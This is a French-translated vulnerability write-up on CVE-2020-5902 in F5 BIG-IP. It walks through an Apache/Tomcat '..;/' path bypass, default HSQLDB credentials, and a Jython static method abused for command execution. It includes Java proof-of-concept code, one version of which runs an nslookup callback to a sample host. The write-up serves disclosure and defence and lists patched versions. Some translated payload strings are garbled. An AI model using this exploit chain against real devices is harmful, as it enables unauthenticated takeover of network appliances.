Répartition: comment nous avons trouvé une vulnérabilité RCE dans le F5 Big-IP Application Delivery Controller





BIG-IP de F5 est un contrôleur de livraison d'applications populaire utilisé par les plus grandes entreprises du monde. Lors de l'analyse de sécurité de ce produit, nous avons pu trouver la dangereuse vulnérabilité CVE-2020-5902. Cette faille de sécurité permet à un attaquant d'exécuter des commandes pour le compte d'un utilisateur non autorisé et de compromettre complètement le système, comme l'interception du trafic des ressources Web contrôlées par le contrôleur.



Selon nos données, en juin 2020, il était possible d'accéder depuis Internet à 8000 appareils contenant la vulnérabilité CVE-2020-5902. Son analyse détaillée est dans notre nouvel article.



Quel est le problème



BIG-IP de F5 est un contrôleur de livraison d'applications populaire utilisé par les plus grandes entreprises du monde. La vulnérabilité CVE-2020-5902 a été notée 10 sur l'échelle CVSS, qui est le niveau de gravité le plus élevé.



La vulnérabilité pourrait permettre à un attaquant distant, y compris un attaquant non authentifié ayant accès à l'utilitaire de configuration BIG-IP, d'exécuter du code arbitraire dans un logiciel (exécution de code à distance, RCE). En conséquence, un attaquant pourra créer ou supprimer des fichiers, désactiver des services, intercepter des informations, exécuter des commandes système arbitraires et du code Java arbitraire, compromettre complètement le système et développer une attaque, par exemple, sur un segment de réseau interne.



Une combinaison de failles de sécurité dans plusieurs composants du système (par exemple, répertoire hors limites) entraîne RCE. Les sociétés dans lesquelles l'interface web F5 BIG-IP peut être trouvé dans les moteurs de recherche spéciaux, tels que Shodan, sont particulièrement à risque, mais il convient de noter que l'interface requise est pas accessible depuis le réseau mondial par toutes les entreprises utilisatrices. Au



cours de la surveillance des menaces réelles (menace intelligence), nous avons constaté qu'à la fin du mois de juin 2020, il y avait plus de 8000 appareils vulnérables disponibles sur Internet dans le monde, dont 40% aux États-Unis, 16% en Chine, 3% à Taïwan, 2,5% chacun. au Canada et en Indonésie. Moins de 1% des appareils vulnérables ont été détectés en Russie.



Passons maintenant à l'histoire de la façon dont nous avons réussi à trouver CVE-2020-5902.



Recherche d'erreurs de configuration du serveur Web



Installons F5 Big-IP sur notre machine virtuelle, et accédons à son shell de commande:







Interface de ligne de commande F5 Big-IP



La première chose à faire pour commencer la recherche est de regarder tous les ports ouverts et quelles applications les utilisent. Cela identifiera tous les points d'entrée possibles dans le système. Pour ce faire, nous utilisons la commande netstat:







Trouver les ports ouverts sur l'appareil



J'adore analyser les applications Web, alors commençons à analyser la configuration du serveur httpd en écoute sur le port 443 / tcp.



Le fichier le plus intéressant de sa configuration est "/etc/httpd/conf.d/proxy_ajp.conf":



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


Contenu du fichier /etc/httpd/conf.d/proxy_ajp.conf



Ce fichier configure Apache pour qu'il transfère les requêtes vers Apache Tomcat sur le port local 8009 / tcp via le protocole AJP, mais uniquement si ces requêtes correspondent à une à partir des expressions régulières données.







Trouver une écoute d'application sur le port 8009 / tcp



Il est important ici de se référer à Orange Tsai la recherche sur la façon de rendre les serveurs chaînés gérer les URL différemment. En particulier, pour notre bundle Apache HTTP Server et Apache Tomcat, vous pouvez tester la séquence de caractères "..; /":







Diapositive de présentation Orange Tsai



Selon cette étude, Apache HTTP Server analysera la séquence comme un nom de dossier valide, tandis qu'Apache Tomcat pensera que cette combinaison indique une transition vers le répertoire précédent.



Pour comprendre si cette méthode fonctionnera, vous devez obtenir le chemin d'accès à l'un des points de terminaison Tomcat masqués dans le fichier de configuration:




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


Un fragment du fichier de configuration /usr/local/www/tmui/WEB-INF/web.xml



Le chemin /tiles/tmui/em_filter.jsp ne doit pas correspondre aux expressions régulières du fichier proxy_ajp.conf, nous testons donc:







Test de la technique Orange Tsai



Requête normale renvoie un code 404, et une requête utilisant la technique Orange Tsai renvoie un code 200. Ainsi, nous pouvons désormais accéder à toutes les pages du serveur Apache Tomcat interne de l'appareil sous investigation.



Rechercher des points de terminaison Tomcat vulnérables



Examinons la configuration du serveur Apache Tomcat et essayons d'y trouver des points de terminaison vulnérables.



Nous avons utilisé le chemin /tiles/tmui/em_filter.jsp plus tôt, mais essayons maintenant de trouver quelque chose de plus utile:


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


Fragment du fichier /usr/local/www/tmui/WEB-INF/web.xml



Mon attention a été attirée sur le chemin «/ hsqldb /», qui est géré par la classe org.hsqldb.Servlet. L'acronyme HSQLDB signifie Hyper SQL Database et son chemin / hsqldb / est chargé de fournir l'accès à la base de données elle-même.



Vérifions si notre technique peut être utilisée pour accéder à ce chemin:







Vérification de la disponibilité de HSQLDB



Ainsi, nous avons réussi à contourner l'autorisation et accéder à HSQLDB. Le site Web officiel de HSQLDB a un guide sur la façon de se connecter à la base de données via HTTP , et il indique que vous pouvez utiliser un pilote Java spécial pour vous connecter à la base de données via HTTP. Et pour vous connecter, vous devez connaître le login et le mot de passe de la base de données.



Utilisons la «technique en or» appelée «recherche Google» et trouvons les noms d'utilisateur et mots de passe par défaut pour HSQLDB:







Google vous montre le nom d'utilisateur et le mot de passe par défaut directement sur la page de recherche



Maintenant, écrivez une preuve de concept en Java pour tester notre hypothèse que le pilote HSQLDB peut fonctionner avec les données de connexion par défaut suivantes:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


Code PoC pour se connecter à HSQLDB et demander une liste d'utilisateurs HSQLDB







Résultat de l'exécution du code PoC donné



Le code a été exécuté et supprimé le premier utilisateur de la table, ce qui signifie que maintenant nous pouvons exécuter des requêtes SQL arbitraires sans aucune authentification dans le F5 Big- IP.



Explorer le point de terminaison HSQLDB



J'ai passé un peu de temps dans la documentation HSQLDB et je me suis installé sur l'instruction CALL - elle peut être utilisée pour exécuter des procédures stockées, y compris toutes les méthodes statiques Java dans le chemin de classe HSQLDB.



Obtenons le classpath de HSQLDB:



Demande: CALL "java.lang.System.getProperty" ('java.class.path')

Réponse: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "


C'est exactement le même chemin de classe que le serveur Apache Tomcat.



Nous devons maintenant trouver une méthode statique qui permettra l'exécution de code à distance. Après une brève recherche dans le fichier tmui.jar de la classe com.f5.view.web.pagedefinition.shuffler.Scripting, j'ai trouvé la méthode setRequestContext:



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


Essayer d'appeler cette méthode avec des données arbitraires:



Requête: APPELER "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')

Réponse: "NameError: aa__bb",


Nous voyons que nous sommes entrés dans le contexte de l'exécution de code Python et que nous avons passé les mauvaises données.



Nous essayons d'importer le module "os" et appelons la fonction système:



Demande: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')

Réponse: "ImportError: aucun module nommé javaos"


Recherchez l'erreur sur Google et découvrez qu'il s'agit d'un comportement typique du langage Jython.



Nous essayons d'exécuter la commande d'une manière différente:



Demande: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')

Réponse: null




Nous avons reçu null de cette requête, qui nous informe de l'exécution réussie de la commande. Maintenant, rassemblons le code PoC final qui enverra une requête DNS si le serveur est vulnérable:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


Et nous obtiendrons RCE dans notre F5 Big-IP, en utilisant des commandes pour le reverse shell:







Accéder à F5 Big-IP via la chaîne découverte de vulnérabilités



Résumé



Nous avons obtenu le RCE d'un utilisateur non autorisé en trois étapes faciles:



  1. Un bogue a été détecté dans la configuration du serveur HTTP Apache et d'Apache Tomcat
  2. Utilisé le mot de passe par défaut pour HSQLDB
  3. Utilisé des méthodes statiques non évidentes dans le code de la bibliothèque F5 Big-IP


Comment se protéger



Pour corriger la vulnérabilité, vous devez mettre à jour le système vers la dernière version: les versions vulnérables de BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) doivent être remplacées par les versions dans lesquelles la vulnérabilité a été corrigée ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Pour les utilisateurs de marchés de cloud public (AWS, Azure, GCP et Alibaba), vous devez utiliser BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 ou 15.1.0.4), à condition qu'ils soient disponibles sur ces marchés. De plus amples informations sont fournies dans l' Avis F5 BIG-IP .



Auteur : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies



Chronologie:



  • 1 avril 2020 - Des informations sur la vulnérabilité ont été soumises à F5 Networks
  • 3 avril 2020 - L'équipe F5 a pu reproduire des vulnérabilités
  • 1 July, 2020 — Security Advisory



All Articles